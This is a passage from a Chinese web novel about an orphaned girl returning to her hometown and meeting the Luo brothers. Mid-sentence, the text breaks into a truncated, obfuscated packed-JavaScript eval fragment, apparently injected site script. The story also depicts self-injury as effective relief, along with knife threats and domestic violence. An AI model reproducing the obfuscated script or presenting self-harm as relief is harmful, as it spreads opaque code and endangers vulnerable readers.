江蔚云一脸兴奋劲儿:“这儿住着太酷了,像是在未来车间!” 李忠夏打量了番,像是在好奇她们带来的行李,郑策不动声色将不小心露出来的金手镯往背包里塞了塞。 “云朵儿也是长大了。” 他走到云朵儿旁边捏了捏她的脸,假模假样感叹道,“还没来得及和你外公外婆熟起来,他们就死了,唉。” 郑策收拾的动作瞬间僵住。 爸妈和姐姐过世后,别人都用的是“节哀”,“走了”,“没了”这样的词,虽然只是细微的差别,但是“死了”这样直白的表述,还是让她心里抽着疼。 那瞬间,屋子里的空气像是忽然被抽干,心脏萎缩皱成一团。 “谁死了?”韩忠夏的儿子跑过来,抱住宋熙大腿,“我害怕。” “俊生。”宋熙抱着他往外走,提醒道,“别胡说。” 郑策很想挤出一个微笑来,但是脸上肌肉不受控,僵坏了一般。她将左臂上袖带取下来,揣进兜里。 等三人回屋后,江蔚云瞬间枯萎,抱着郑策手臂撒娇,“刚他把我脸捏得好疼!还说什么云朵儿长大了?都过了这么久,不长大就成精了。” 她巧妙地转移话题重点。 “是嘛?”郑策捧着她的脸搓了搓,顺着她的话。 “那我给你吹吹,没轻没重的,下回带你去捏他儿子。” “那算了。” “为什么?我们云朵儿是谁都能欺负的吗?” “因为我们还要蹭他们家吃喝啊。” 江蔚云纠结着,看了郑策两眼,急道,“小姨妈你别撕纸了……” 郑策停下手里无意识动作,讪讪放下稀碎的纸屑,若无其事道: “没事,我爸妈,你外公外婆给我们留了……遗产,我们底气够。” 双手有些控制不住地颤抖,郑策悄悄从背包里掏出一个瓶子。 只剩最后一颗药了。 这次吃完,她必须好起来。 闲聊了阵,江蔚云坐在昏黄灯光下写作业,她一脸严肃说换了学校也得写完,要画上圆满的句号。 圆满的句号? 郑策感觉自己人生已经烂尾了。 她无所事事,又憋得慌,拿起手机打算出去溜达一圈。 搬行李的时候一使劲,腿上伤口又崩开了,现在走路一瘸一拐的,在昏暗巷口有些像丧尸巡街。 都是小事。 能忍。 走到一盏路灯下,她掏出兜里的照片,上面是爸妈和一个男人的合影。 男人单眼皮,眼尾上翘,像个倒八字,按照她的说法,就是贼眉鼠眼的现实具象。 她听过男人和爸妈的聊天内容,他也是游仙镇的,口音,熟人名称都能对得上号。 名字、面貌甚至证件都能造假,但这点,一定是真的。 而且白天在医院,一晃而过的人影,她好像看见他了。 今晚在麻将馆这边找找,如果不在连夜码长城的人堆里,明晚就去马家巷找。 她深吸一口气,将照片揣回兜里,拿出电话拨了个号码。 没响两秒欧阳长乐就接通,“言情天后!怎么想到给我打电话啦?” 欧阳长乐和她是小学同学,两个人做同桌的时候,经常凑在一起看小说,遂一人得一诨名。 郑策得名言情天后,欧阳长乐得名玄幻宗师。 但是现在,她是真心叫不出口这个二逼名字。 “哎能别叫这么羞耻的名字么?” 她现在就是想找人说话,随便聊什么都行,但电话拨通,听到熟悉的声音,鼻尖忽然有些发酸。 “你怎么了?哭了?” 该死的听力怕是满分过的吧。 “欧阳。” “哎。”欧阳长乐立马应着。 “我成孤儿了……” 她最后还是没忍住破了音,“我,爸,妈,姐姐都没了,只剩下一个江蔚云和我。” “什么意思啊你?” 欧阳的语气急了起来,“你别,你……唉,我。操!你在哪儿呢?” 郑策被她这一通胡言乱语给逗笑了,闷声道:“我回游仙了,回来复读。” 听到这里,欧阳炸了。 “你他妈是不是有病!Z大呢?不读了?谁之前兴高采烈说我们都有光明的未来啊!” “我听不进去讲课。” 郑策继续顺着巷子往前走,“我其实情绪一直控制得挺好的,可能今天刚回来,有点没控制住,你别担心。我姨妈让我再读一年半的书,放心吧……我会有未来的。” 她自己都不太信。 “我明天回来一趟吧。” 虽然只有短暂犹豫,但郑策还是捕捉到了。 “你回来我们就绝交。” 她立刻回道。 欧阳长乐家中并不宽裕,过年不回家在外面打工足以说明一切。 郑策一向知道再好的朋友之间也应该有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎哟我的天。” 郑策看不清篮球场上的人,只有一个轮廓,在欧阳这声尖叫后,那人似乎朝这边看了下。 她才发现这人寒冬腊月穿着短袖。 少年人瘦瘦高高的,T恤被风鼓起,头发也散落在额前,单薄又凌乱。 像是有些无助。 “没什么大事,我还趁此机会做了次全身检查。” 她想了想,又问:“你记得这边有谁骑摩托,年纪和我们差不多,个子大概一米八,皮肤挺白,应该长挺帅的。” 白天的男生有些熟悉,但她不太敢肯定。 “不认识这号人物。” 欧阳长乐爽快道,“我高中的唯一情人就是五三练习册,不认识人类……不过,郑策不长这样吗?” “你在说什么鬼话……”郑策顿了下,“我靠,那个和我同名的男生。” 此时,打球的男生打了个喷嚏。 该。 穿成这样作死,明天就会把他为数不多的脑子给烧光。 小学很多人都记不清了,但郑策记得那个男生。正因为同名同姓,才给予对方过多的关注。 按姓氏首字母排队,他们常排一块儿。又因为个子不矮,两个人在教室后做了五六年的前后桌。 “对啊,我记得他长得白净,还挺高的。” 欧阳长乐回忆,“不过他成绩不差,也读大学去了吧。好像初中的时候,他们家也出了什么变故,还改了名,具体我也不太了解,毕竟……” 郑策撅了噘嘴。 啧,上大学去了。 “毕竟你的眼里只有五三练习册。” 说到这里欧阳又叹气,“哎,我觉得你真可惜了,辛苦三年,最后何必呢……” “其实,我反而回来后心里轻松了些。” 郑策瞥见椅子上有小孩儿遗落的纸笔,无聊地转起来。 “选错了就选错了,反正当时我真的读不下去了,不想再一遍遍后悔。” “嗯没有白走的路,对错都算数!”欧阳大概走到人少的地方,吼了声。 “哎哟你,是不是想去当高中老师啊,打鸡血一套一套的。” 欧阳忽然说:“诶,车祸的事怎样了?怎么就扯到白净小帅哥儿去了。” “没事,应该是这片的混混,不过挺有礼貌,没赖账。” “……花臂大哥?”说这句话时,欧阳声音很轻地颤抖了下,“你快离这种人远点!” “……不是的。”郑策无奈。 她眼神一直停留在篮球架那边。 男生站在光下,像是打发时间一样地不停投球。 他准头很好,站多远都能进。 每一次跳跃都更接近头顶的光源。 应该经常运动,T恤套在身上有些宽大,但身材能很好地将衣服撑起来。 像一幅画。 四周昏暗,暖黄光束从一个点均匀铺洒开一小片,像是隔离出单独的世界,只有跳跃的少年,指尖的篮球和铁锈的篮筐。 充满生命力,却孤独。 郑策将电话夹在脑袋和肩膀间,尝试着用纸笔记录下这一幕,继续说,“而且花臂也不全是坏人吧,你刻板印象了啊。” “……是嘛。”欧阳的声音很轻。 郑策觉得起码能在玻璃上哈气画太阳,用呼出的白气假装抽烟的男生不至于太坏。 又聊了一阵,欧阳长乐表示要去抢大澡堂喷头先挂了电话。 郑策就坐在椅子上,将笔拿在眼前闭着一只眼,有模有样比划着男生的比例。 但这次,球没有进。 碰撞上篮筐,整个篮球架哐当一声响,球反弹回去,直奔男生面门而去。 不知道是不是郑策的错觉,那个人没有躲。 被球砸中后才由着惯性偏了下头。 接下来又是这样的几个球。 按照他之前的技术,这些球,像是故意投歪的…… 飞蛾扑火。 不知道为什么忽然想到这个词。 少年头顶伞状散射的光更像禁锢双翅的牢笼。 把他死死围困在光内。 她笔尖顿了下。 身旁手机亮了一瞬,消息显示: 欧阳宗师:【对方向你发起一笔转账】 备注:【安慰我闺蜜的,姓郑的拦着就绝交。】 郑策收下回复:【我怎么就认识你了呢。】 欧阳宗师:【珍惜这段缘,千里一线牵。】 欧阳宗师:【别回复了,我真的要去抢喷头去了!!!!狗日的,和你们拼了!】 郑策笑着抬头。 球场上的男生再没投进一个球。 篮球掉入旁边的荆棘丛中。 郑策忽然捂住嘴。 她瞪大眼睛看着男生只穿一件白T恤和黑色短裤,闯进了荆棘丛里。 因为隔得远,他拿球出来的时候,看不清身上的状况。 但一定有很多伤。 郑策似乎知道他在干嘛。 如果心里面堵得慌,皮肉上短暂的疼痛相当于一瞬间的发泄口,那一刻注意力的分散会忘掉所有堵塞在胸口的石头。 她几个月前半夜睡不着觉的时候屡试不爽。 她有些担忧地看着那边。 这时,旁边着急地跑过去一个男生,个子比他略矮一点,单肩背着书包。 应该是个下补习班的学生。 两人说了一会儿,开始拉扯的时候,郑策小心放下纸笔,躬身隐藏在黑暗里逃走。 就像欧阳说的,这种欺负学生的混混,能躲则躲。 特别眼前这个还像是不要命的。 “你脑子里的屎被狗吃了?”骆乘光情急下一拳打在骆混混右肩膀,“那儿全是刺啊大哥,你还有脑子吗?” “我没……”骆远方刚伸手就被骆乘光给打了一巴掌。 “我操,我是你哥吧?不是你儿子?” 骆远方强硬地掰正他肩膀,“书包带两边都背上,会成高低肩的,高低肩还耍个屁的帅。” “走,回去了。” 骆远方揽过他胳膊,“专门在这儿等你,等来一顿揍,我他妈就是狗,上门找屎吃!” 骆乘光看着他没说话,走两步又被拖了回去。 他瞪着骆远方。 “干什么?” “逮人。” 骆远方下巴抬了抬。 “走那条路,有人偷窥我,跟上。” 3. 一股不同寻常的狠劲 郑策小时候没白在这片儿混,七拐八绕就没了踪影。 没看到人影让骆乘光有些后怕。 “卧槽,是杨吟他们?屁都没看见。” 骆乘光楞了下,“你能看见屁?” “……”骆乘光朝他竖中指。 ”你这一到晚上就就自动丧失自理能力的,能追到根头发丝儿,我就跟你姓。” 骆乘光拾起椅子上的遗落的纸,边缘都快被撕成流苏了。他对着光的方向看了眼。 啧啧啧。 极简派狂野画风。 篮球框是一根直线一个圈儿,在另外一堆短横线里,他凭借两个圆定位出应该画的是他哥的头和球。 “帅。”骆乘光皱眉端详了会儿。 “就是这儿光线太暗了,盲人摸象画出来也不容易。跟你比还差一点点。” 骆远方不想理他。 骆乘光看了盯着漆黑巷口发神的骆远方一眼。 他在发抖。 骆乘光知道他哥不是因为冷的,而是因为黑。 伸手不见五指的恐惧。 “没事了。”骆乘光握住他的手,将手里的外套披在他身上。 “走了哥,天亮了就好了,把你的皮穿上。” 今天下午骆远方到家时,家里没人。 老太太在家呆不住,呼朋引伴去了。 骆乘光是个学霸,永远不分昼夜寒暑的各种补习,自然也不在家。骆远方曾说他要是不拿个中考状元,补习老师一人一口唾沫都能淹死他。 家里很整洁,他从来和骆乘光挤一屋睡,回来也不需要外婆提前收拾。 虽然说了不管他,外婆还是在桌上留了晚饭,炒的青椒肉丝和土豆丝,他以前最爱吃的。 吃完饭倒头在沙发上睡得昏天黑地,再醒来天都黑了。家里还是没人。 离开久了再回来总觉得有些不自在,什么也不敢碰,怕打乱了他们的生活节奏。 骆远方忽然感觉自己走的六个月,也把自己从他们生活里抹去了痕迹。 他才拿了球出门等骆乘光放学。 没想到遇见一人一直在暗处观察自己。 因为太黑他没轻举妄动。 但画了副丑成渣的画是几个意思? 威胁信么? 两兄弟回去后,外婆依旧一夜未归。 骆远方半夜十二点睁眼,还看见骆乘光埋头苦读的背影,他蒙着被子痛苦哀嚎: “操,到底谁要读高三,你要气死谁?” “学霸从来不气别人,只提高自己。” 骆乘光刚巧写完,将书一合,两眼皮子打着架就往上铺爬。他笑起来颊侧有两个小酒窝,少年气张扬,很好看。 “你睡觉不咋踏实啊,一个小时醒六十次。” “你背后长眼睛了?” 骆远方闭回眼睛懒懒问。 “不用长眼睛,你睡着了会放屁打呼说梦话。” “真的?”骆远方忽然睁开眼,不敢置信,毕竟他自我感觉一向不错。与骆乘光说的这些词汇格格不入。 上铺不应,他踢了上铺一脚。 “哥。” 骆乘光忽然说,“你……为什么回来了?” “我回来不高兴?” “没,就是……有点担心你。”骆乘光探头下来看他。 “你真的没事吗?” “靠,这问了一路,我都觉得我应该有点事才对的起你。” 骆远方笑了起来,“问得我要死了一样。” “呸呸呸,快呸。” “你妈的骆乘光!缩回去,吐我一脸唾沫星子。” 骆远方把头缩回被窝里闷声道,“还真是骆淇养的好孙子。” “快呸!” “呸了呸了。” 骆远方说,“没事的。快睡,明天最后一天补课,别迟到了。” 骆乘光顿了下,“你怎么知道?你才回来……” “因为我是你哥。” “……哦。” 骆乘光胸口有些发烫,“你也别等了,外婆今晚肯定去别个老太太家进行闺蜜谈心活动了。” “嗯。”骆远方翻了个身,闭着眼睛说,“给我下马威呢,明儿去负荆请罪。” 骆乘光也把头栽进枕头里,闷声说:“等着看你热闹。” 要看他哥的热闹,可不是那么容易等的。 等到学校门口花坛边排排坐了一堆儿老太太,翻了七八回面儿晒太阳,也没看见请罪的人。 而其中也坐着他们的外婆,骆淇。 直到快正午了,出校门觅食的丧尸们生无可恋陆陆续续回来时,一个黑色影子嗖的一下从楼梯扶手上滑了下去。 黑影腾空时,脚下一使巧劲,长板板三百六十度翻了翻,稳稳落地。 落地后急转,轮子摩擦地面,唰的一声,尾部扬起薄薄一层灰,刹车,一气呵成。 要说在一穷二白的学生时代,什么能使人瞬间提神,定然不是风油精之流。 而是帅哥。 见者将由内而外焕然一新,眼睛瞪成正圆形盯着美色,心里还能再倒背一套元素周期表。 一人,提神醒脑;两人,永不疲劳;一群,长生不老! 校门口仿佛黑云压城末日降临的氛围被一扫而空。人群在几声惊呼声中偷偷朝这边看。 骆远方出门时选了一件黑色棒球服,想起昨天郑策低调且酷拽的转身,又戴了一顶黑色鸭舌帽。 他本意不想引起太多注意,挑了个离花坛老奶奶们近的楼梯,尽力避着校门口的学生。 没想到这群年轻人平日里要死不活,戴的眼镜一个比一个厚,观察力也是一个比一个好。 此时的目光们让他有些芒刺在背。 但他今日目标很明确,是来给外婆长脸加赔罪的。 外婆虽然嘴里念叨这些玩意儿能有什么用,但现场震慑的效果,骆远方能看出来她不屑的表情下,压抑的嘴角。 好在,花坛边的目标群体都不负众望被吸引了注意力。 “老骆,那是你大外孙吧?太帅了小伙子。” 骆淇架着老花镜,头也不抬地看手相,“帅个毛,癞蛤蟆跳悬崖,装蝙蝠侠,就会出溜一下子。” 啧,虚荣老太太。 骆远方学滑板纯为了自娱自乐,不喜欢在大庭广众下秀技术什么的。 奈何老太太平日里就爱凑热闹。 骆远方没吭声,拎着板子一头,助跑了两步,放下时借着惯性跳上去,笔直朝一斜坡滑上。 板子快要越过斜坡顶部时,忽然连人带板在空中一个转身,挣脱地心引力一般。 人群中的惊叹声又大了些。 紧接着顺着坡又行云流水地滑了回去,眼看就要撞上花坛时,他斜一拉扯,稳稳停在外婆面前。 “天官儿诶!” 骆淇正给人看手相,冷不丁被挡住光,皱眉看他,“你谁啊?” “又揩老头子的油呢?爷爷给我让点儿座。” 骆远方自来熟地愣是在密不透风的花坛边儿又挤出自己的容身之所。 “我是骆淇的亲孙子,我来叫我外婆回家。” 他从背后掏出一朵玫瑰花,看也不看递给骆淇,“给我外婆的,骆淇你先收着。” “哎哟老骆你还什么不满足的,人好好的回来了,还这么听话,就知足吧。” 有老太太在一边声援骆远方。 “你就看谁家的孙子还有闲心,这样讨好爷爷奶奶的。” “是啊,不过小骆啊,你考大学了吗?这一走就是几个月的,去哪儿发财了?” 这些老家伙,八卦从来没限度,戳人肺管子还浑然不觉。 “李奶奶,发什么财啊,我昨天回来的时候还看见你家那位,和牛奶奶一起买菜逛街发财呢。” 对付八卦的方法就是扔回去更大一个瓜,还得是砂糖的。 但这回张口胡说没来得及观察当事人竟然在场。 当事人牛奶奶呸了两声,“我昨天可没出门,那女的不是我!” 人群一下子沸腾,各自通过自己眼线把唯一没在场的李奶奶丈夫扒了干净。 骆远方本想把话题扯远点,方便自己和外婆说话。 但这叽叽喳喳的,一群人岁数加起来得过三位数了,怎么还能这么吵。 他咳嗽了两声,“各位奶奶,前面路口超市打七折,你们还不知道吧?可划算了今天,该囤的东西可以入手了啊,别怪我没告诉你们。” 此话一出,三条腿儿的四条腿儿的都跟上了发条一样,“你不早说!个倒霉孩子!” 骆淇也冷着脸要起身。 “外婆。”骆远方拉住她,“还生气啊?” 骆淇瞪了他一眼,“家里洗手液快没了。每次都是散状喷射,后面跟着一堆气儿,窜稀了一样。我去买个新的。” “别去了,下午一点就结束,她们走过去也快没了。” “那你不早说!” 骆淇反手打在他胳膊上,又坐回去,“你就折磨老年人吧。” “老年人也不能天天坐花坛边儿,聊别人家的事儿,得多动动。” 骆淇瞪了他一会儿,这才笑了。 六个月不见了,臭孙子! “太臭了,我不想要小鸡,我就看看。”江蔚云蹲在一窝毛茸茸黄团子边不肯挪窝。 她的班主任也挑着过年的时候办转学手续。 郑策怀疑这小地方的人因为闲得慌,都快反人类地热爱工作了。 这个学校有初中部和小学部,因为初中部还有人在补课,从校门口进进出出,所以门边儿的小摊小贩也就没放假。 专门吸引些一看见这些,走路都要打偏的小孩儿。 江蔚云就是其中之一。 一眼看中簸箕上一窝鲜黄的的小鸡崽,脸都要笑烂了。 一个劲儿说自己不想要,就看看。 没过多久自己还折了个东南西北要和郑策玩儿,每一面都是小鸡开头的词汇,小鸡叫,小鸡走路,小鸡啄米…… 郑策无语,“幸好你不想要,就算想要我们也养不活,养死了得多可怜。” “小姨妈!” “哎真乖,你说得对,小鸡太臭了咱不要啊。” 郑策持续装傻,“你班主任人还不错,咱俩运气真好……对喽,就这个楚楚可怜的表情,下一秒就能哭出来最好,回去韩忠夏再捏你,你就这样瞪他……” 牵着欲哭无泪,自绝后路的江蔚云往回走的时候,会路过旁边富乐九中的学区房。 两栋老得不堪重负的房子,一个叫清北楼,一个叫状元楼。 郑策往清北楼二层看了眼,本应该是空置的窗户外竟然晾晒了几件衣服! ……我.操。 那是外公外婆的老房子,外婆一个人住了最后几年,按照习俗是要空置一段时日,给走的人回来看的时间。之后再按遗产分配。 结果她爸妈也忽然没了,这套房子按理来说还产权不明呢! 一看就是被姨妈家给卖出去或者租出去了。 她又想叹气,叹了一半,怕好运真吐光,又把吐出的二氧化碳吸了回去。 郑策觉得自己脑子有病。 “脑子没问题吧?” 骆乘光啃下最后一块儿臭豆腐,“走,回去用草稿纸演算给你看,笨死你得了,怎么进的竞赛班?” 郝洋嘿嘿一笑,忽然凑到骆乘光耳边小声说:“操,快看多年轻的小妈。小姑娘叫她妈呢!” 骆乘光皱眉,顺着看过去,是挺漂亮的。 但。 “管你屁事,你要接手?” “我,你他妈放什么屁……” 朋友忽然顿了下,往右一看,一手推在骆远方背上。 “跑!又是吃饱了没事干,来要保护费的高年级畜生。” 操。 凭借骆乘光的个子和灵活度,不一定打不过。 他路过校门口花坛时想。 但他不想惹麻烦,关键他哥的麻烦都还没完全解决。 比如现在,正在被骆淇拎着揍。 ……现在? 哥? 骆乘光猛地刹住步子,后头来人并没有减速,拳头带风对着他右臂直奔而来。 骆远方都没抬眼,一蹬脚边的滑板,板子朝那人膝盖毫不留情飞去。 他紧接着两步走过去,拧住那人的胳膊,才体贴地没让他当场跪下。 “为什么打他?” 那人被反拧着胳膊,吱哇乱叫,“我错了。” 骆远方:“……” 德行。 “他有的时候也挺欠打,但是……” 骆远方手上用力,那人疼得仰头,与他对视,“他是学生,要用右手考试。如果哪天他做不了作业了。我让你吃不了饭。” “进去。”这话是对骆乘光说的。 骆乘光还想说什么,骆淇也摆手催他,只得作罢。 “等等。” 骆乘光又停下。 “叫那些人别看了,不自在,低调点。”骆远方小声说。 骆乘光指了指旁边不知何时已经买好鲜花和巧克力的女生,扯着嘴角。 “你是不是对自己有什么误解?你管这叫低调?” “帮不帮?” “不帮。” 骆远方下意识一用力,手下的人带上痛苦面具,“求你,帮他!帮他吧!低调啊!” 最后还是骆乘光身边的朋友郝洋脑子灵光,喊了声:“要签名,要合照的这边来啊,我们登个记!” 给他带个小黄帽,拿把小红旗,骆乘光感觉他上辈子一定是个导游。 一场混战,不,骆远方单方揍人后,也没影响他和骆淇的叙旧。 放走那两个混子,两人又若无其事坐回花坛。 “对不起,又打架了。”骆远方说。 骆淇长舒一口气,点点头,“回来就好,全须全尾回来就行了。” “你们……”骆远方顿了顿,“都知道了吧?” “嗯,看来你弟弟没瞒住。” 骆淇看着远处进出的学生,有些感慨,身边这孩子都成年了。 “他就没尝试瞒过,昨晚把杨吟名字都喊出来了。” 骆远方说,“你们,知道了……多少?” “学校,还有医院,都知道了。” 骆淇看着他,叹了口气,“你……” “没事了。”骆远方也笑着看她。 这两天难得都出了太阳,校门口此时新加入一个三轮车。车上恨不得挂上全世界的样子,各种氢气球,各种塑料水枪玩具,五彩缤纷。 骆远方想起刚死活说不要小鸡,眼珠子都快掉笼子里喂鸡的小姑娘。 “刚过去那个女孩儿你认识吗?” “认识。”骆淇说得很果断。 骆远方诧异看着她,“你知道我说的是谁?” “我认识长得高高瘦瘦,很漂亮的那个,哦,还带个小妹妹。” 骆淇转头有些同情地看他,“除了你那些猪头朋友都长一个样,每个人都是不一样的,很容易分辨。” “郑策?”骆远方问。“你怎么认出来的?” “嗯。”骆淇点点头,“以前跟你同名的那个姑娘。你还常去人家家里蹭药,顺便还蹭吃蹭喝的。” 骆淇想了想又说:“她长得斯斯文文的,但有股狠劲儿,很出众。刚一看腿就受伤了,一脚重一脚浅,走得若无其事的,在忍着呢。” 骆远方没说话。 “还有她衣服,破了条口子还在穿,这么爱面子的年纪,换平常的姑娘早嚷着买新衣服了。” 骆淇顿了顿。 “不过胳膊肘那个位置不像自己摔的,是哪个不要脸的把人小姑娘撞了。” 不要脸此时咳嗽了下,“您观察还真细致……” 他也注意到郑策被自己划破的衣服,黑色布料在风里翻飞,而她整个人面无表情浑然不觉的。 像是刚打了一架,又随时准备拼上命的样子。 就像骆淇说的,一股不同寻常的狠劲。 骆远方忽然皱眉,“她们不会是回来抢房子的吧?毕竟……” 过户手续上,他们肯定不占理的。 “呸呸呸。”骆淇说,“大过年说什么不吉利的话,快呸!” 骆远方无奈跟着呸了声,只觉得骆淇这个老神婆深不可测。 凡事似乎都看得透彻,某些举动却让人很难把“睿智”这个词和她联系在一起。 他想起郑策左臂上的黑色袖带,心里没来由沉了沉。 虽然算不上熟识,但毕竟是同龄人,如果她家里真出了这么大的事,谁见了也不会好受。 现在还死皮赖脸低价买了人家的房子。 房子是什么情况,郑策一路都在想。 倒不是非要争个遗产,只是原本里面还有爸妈的东西,如果真的卖了,可能什么痕迹都没了。 刚回到家还没开口,宋熙就牵着她五年级的儿子,眼神略带幽怨地看着她。 “姨妈?怎么了?” 沙发上忽然飞出一个酒瓶,砸碎在地上,绿色玻璃片反射五彩的光,让这一刻格外迷离又眩晕。 韩忠夏坐在沙发上喊:“挂了那么久的金佛,说不见就不见了,你还真是大款啊。嫌我赚钱多了是吧。” 郑策忽然明白过来发生了什么。 金佛丢了。 偏还在她刚搬进来这两天。 “小策回来啦?” 韩忠夏一身酒气走过来。 “办个入学手续要这么久啊?学校旁边有家金店你看见没?” “你怀疑我拿的?”郑策拧着眉,毫不回避直视他,“证据。” “哟,还理直气壮的。” 韩忠夏嘴里喷出一股难闻的酒味儿,一下一下拍她的肩膀。 “每年你妈都会给我们一千两千的,不是很大方嘛?这会儿孩子都养不起,还不是要送给我们接手。” “忠夏。”宋熙打断她,“再找找,应该是没丢的。昨天俊生拿着玩儿,可能不小心放错地儿了。”< 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狼狈。 恶心。 失望。 郑策和人起冲突时,绝不会让自己变成这个模样。 既掉范儿又丢人。 她捂住江蔚云的耳朵,尽量不让她听见太多脏字儿。 转过身就要走,和门口惊恐的韩俊生对视了瞬,又面无表情继续出门。 院子不大,四五步就能出去。但后头无来由的咒骂像是一把把枷锁,栓住她手脚,行动缓慢。 除了这儿,还能去哪儿呢? 郑策不后悔那一巴掌。 无着无落的感觉也一直如影随形,只是在此时膨胀了几分,堵在胃里,火烧一样的疼。 “郑策!” 宋熙不知怎么安抚了酒鬼,急着跑出来,“他今天股票亏钱了,想卖金佛没找到,又喝了酒脑子不受控,你……别介意。” 脚步停住,郑策看向她,看见宋熙脸上的划痕,有一瞬惊恐。 但在宋熙空洞的眼神里,她也找不出半点信任。 指甲掐在手心里有轻微刺痛,郑策艰难地说:“没事的,姨妈。” 她皱眉指着自己脸说,“我们,去车库写作业。姨妈你……自己快处理下。” “哎哎好。”宋熙应着揉了揉眼角。 但那里没有泪。 宋熙比妈妈小两岁,又没在外头没日没夜地打拼过,皮肤要好很多。 但皱纹却很深,让整个人显得颓丧许多。 一直到入夜,也没人来打扰她们。晚饭的时候,宋熙送了单独的饭菜过来,叹了口气说先忍忍,也就走了。 郑策不知道这个“先”字是什么意思?难道她有自己的办法?难道宋熙真的醒悟了,想要摆脱这一切? 她忍了然后呢?会有什么结果? 她想不通,叹了口气仰倒在床上,尽力平缓自己的呼吸。 直到感觉有人在扒拉自己的手。 她侧头看了眼,江蔚云趴在床边认真地将自己攒成拳的手指一个一个捋直。 江蔚云轻声说:“别害怕。” “嗯。”郑策看着她。 “我没拿那个东西。” 江蔚云小声说,语气里有些哽咽,接着急道,“小姨妈你手心都掐烂了,你松开点儿!” 郑策连忙松开拳头。 过了会儿,江蔚云鼻音更重了,“小姨妈,我,是不是个拖……” 郑策忽然坐起来,看着她,“他今天说的话你不要听进心里去,听见没?” “谁拖累谁还不一定呢?”她说,“我以后就这样烂在这里,还等着你给我养老,你可别跑。” “你不会的……” 江蔚云不看她,顽固地掰着她的手指,嘟囔道。 “江蔚云,看着我。” 郑策捧着她小圆脸,擦掉眼角的泪痕,严肃道: “我说过我爸妈留了遗产,你知道的。他们欠的是高利贷,我们多余的不用还,所以我们能自力更生,就不要低三下四。还是……你觉得我打他错了吗?” 江蔚云摇摇头,咕哝道:“你一路上都挺暴躁的,我知道你是累了。” “你还跟我翻旧账。” 郑策笑着刮了下她的鼻子,被江蔚云躲过去。 “别刮了,高鼻梁都给你按塌了!” 江蔚云皱着脸想了想又说,“他口无遮拦,我们也应该有底线。外婆说出门在外,该低头低头,但也不能过得太孬。” “是这个道理,不能太孬。” 郑策笑着又想去刮她小鼻子,顿了下,改揉她的头。 “去看书吧,我去溜达一圈。” 江蔚云没动,看着她,“你是不是,在找照片上那个人?” 郑策看着她没说话,也不想瞒着,沉默了会儿点点头,“嗯。但我有分寸,你放心。” 她从枕头下面把水果刀取出来揣兜里,走之前转头看了眼埋头练字的江蔚云,皱了皱眉。 “有台灯吗?再要一瓶英雄牌墨水。” 郑策进门之前看了眼店名,简单粗暴,五元店。 “有,这两个不是五元哦。” 柜台边懒洋洋坐起一个男生,下巴挺尖,下颌线分明。但头发长得都快戳眼睛里了,还是挡不住贱嗖嗖的眼神。 “台灯八十,墨水二十,一共一百。现金微信……美女?” “涨了几倍啊?”郑策抬眼看他。 男生长得虽然清秀,笑起来却一脸痞气,“不是本地人吧?” “他妈的什么毛病!” 一听这句就来气,郑策掏出刀,“咚”的一声直接插在木质柜台上。 “专坑外地人呗?” 男生吓得差点掉凳,忙站起来,指着她,“干什么的?我报警了?” “随便。” 郑策歪了歪头,她今天积累的脾气被一百元划了条口子,爱谁谁。 “看你,报警还是用刀解决。” 男生瞪了她一会儿,妥协了,递给她东西。 “三十,我成本价了。” 郑策向他身后抬抬下巴,“再送个蛋黄派。” “……操。”男生回头瞪她一眼,郑策噌地一声把刀拔出来。 男生低吼道:“拿去滚!” 回去的时候不知道是冷的,还是激动的,郑策腿有些抖。 回来第一天拔刀制止抠脚大汉还算正义之举,第二天就上门强买强卖了。 有点官逼民反,入乡随俗的感觉。 北风一吹,她又想大河向东流了。 到院子里时,屋子里不知道什么原因又吵了起来。 江蔚云缩在铁桌子前写得认真,右胳膊不小心碰到电线,台灯立马抽筋了一样闪成麻点。她伸手去揉一揉电线,光亮程度跟买彩票似的一会儿一个度。 缓了一会儿,江蔚云朝笔尖哈口气,又能多写几笔。 唉。 郑策心里叹了声。 她咳嗽两声,把买来的东西“嘭”的一声丢她桌上。 “你要是近视了,我就杀了你。” 江蔚云愣愣的看着她。 “你出去吃火药了?” “……快把台灯换了。”郑策没好气啧了一声。 “他们又在吵什么?” “好像是韩俊生的作业,一个人认为选A,一个人觉得选B,然后吵起来了……吵到昨天渴了没人倒水,上个月打麻将把钱输光了,去年……” “你在做作业,还是在听故事?”郑策打断她。 江蔚云笑得很无辜,“我练字,又不用脑子,顺便听了。” 郑策瞪她一眼,把蛋黄派从衣服兜里取出来。 “我抢的,晚上饿了吃。” “……”江蔚云看着她,“你又要走?” “明天正月十五,今晚马家巷那儿热闹,我去看一圈,困了就先睡。” 郑策捏了捏兜里的刀,面无表情看了她两眼,大眼瞪小眼没话说,她啧了一声转头就走。 “小姨妈。”江蔚云忽然开口。 “嗯?” “你还要把我养大,别忘了。” 江蔚云小小一个,在铁质的巨大桌椅边显得弱小又无助。 “忘不了,我没那么傻,惜命着呢。” 她朝后挥了挥手,“晚安玛卡巴卡。” 郑策本想从正门出去,吵架的人闹到门边,说不定下一秒就会出来。 她不想看见两人的难堪,给自己惹一身骚。 转身单脚踏上围墙边砖石一跳,单手一撑,像只夜行的猫,轻盈跃上墙沿。 再一眨眼,墙那头传来轻微落地声,伴随随着郑策倒吸一口凉气的“卧槽。” 腿上伤口又裂开了。 江蔚云有些担忧地朝门外楞了会儿神。 转过头忽然阴下脸,对着墙边的黑影说: “你看到什么了?” 4. 真他妈爽 一个黑影从阴影里慢吞吞挪出来,韩俊生定定看着江蔚云。 “她去哪儿?” “不管你事。” 江蔚云收了嬉皮笑脸的架势。 虽然韩俊生比她高两个年级,但男孩儿个子还没开始蹿,气势上没有冷脸小江足。 “我去告诉我妈。” “告告告,三大炮,姥爷吃酒你喝尿。” 江蔚云一根手指在脸上划拉划拉,不断气输出一串顺口溜,企图用魔法打败魔法,“这么大还告妈妈,羞人!” 果然这一激,韩俊生便没动。 “你是不是,不想听他们吵架?” 江蔚云和他僵持了会儿,想了想又说。 “嗯。”男孩有些丧气。 “过来。” 韩俊生沉默了下,十分配合走到她面前。 然后一只小手非常不客气捏上他的脸。 